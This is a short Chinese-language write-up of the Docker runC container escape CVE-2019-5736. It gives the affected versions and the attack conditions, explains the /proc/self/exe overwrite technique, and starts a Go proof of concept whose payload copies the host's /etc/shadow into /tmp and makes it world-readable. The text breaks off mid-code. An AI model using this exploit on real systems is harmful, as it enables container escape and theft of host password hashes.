Docker-RunC漏洞致容器逃逸(CVE-2019-5736)
利用条件
-
Docker Version < 18.09.2
-
RunC Version <1.0-rc6
-
攻击者具有容器文件上传权限 & 管理员使用exec访问容器 || 攻击者具有启动容器权限
漏洞原理
攻击者可以将容器中的目标文件替换成指向runC的自己的文件来欺骗runC执行自己。比如目标文件是/bin/bash
,将它替换成指定解释器路径为#!/proc/self/exe
的可执行脚本,在容器中执行/bin/bash
时将执行/proc/self/exe
,它指向host上的runC文件。然后攻击者可以继续写入/proc/self/exe
试图覆盖host上的runC文件。但是一般来说不会成功,因为内核不允许在执行runC时覆盖它。为了解决这个问题,攻击者可以使用O_PATH标志打开/proc/self/exe
的文件描述符,然后通过/proc/self/fd/<nr>
使用O_WRONLY标志重新打开文件,并尝试在一个循环中从一个单独的进程写入该文件。当runC退出时覆盖会成功,在此之后,runC可以用来攻击其它容器或host。
漏洞POC
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err !